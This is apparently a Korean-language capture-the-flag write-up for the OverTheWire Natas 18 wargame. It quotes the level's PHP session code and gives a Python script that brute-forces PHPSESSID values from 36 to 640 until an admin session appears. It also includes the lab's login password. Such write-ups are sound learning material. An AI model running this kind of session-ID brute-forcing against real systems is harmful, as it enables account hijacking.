로그인창이 있고, admin 계정으로 로그인해야 한다. 소스를 보자:
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
각 유저마다 Session ID를 부여해주는것 같다.
$maxid = 640; // 640 should be enough for everyone
Session ID의 최대 값은 640인것 같다.
로그인 후의 쿠키에는 PHPSESSID=34 형태로 Session ID가 저장되어 있다.
따라서 1~640 사이의 임의의 값에 admin 계정의 Session ID가 존재하지 않을까?
순차적으로 탐색하는 Python 코드를 작성하였다.
import requests
session = 1
for a in range(36, 640) :
cookie = {'PHPSESSID': str(a)}
r = requests.post('http://natas18.natas.labs.overthewire.org/index.php', auth=('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'), cookies = cookie)
print("Trying session no: " + str(a))
if "You are an admin" in r.text:
print("******** FOUND IT******** ")
print(r.text)
break
위의 코드를 사용하여 Natas19의 패스워드를 알아낼 수 있었다.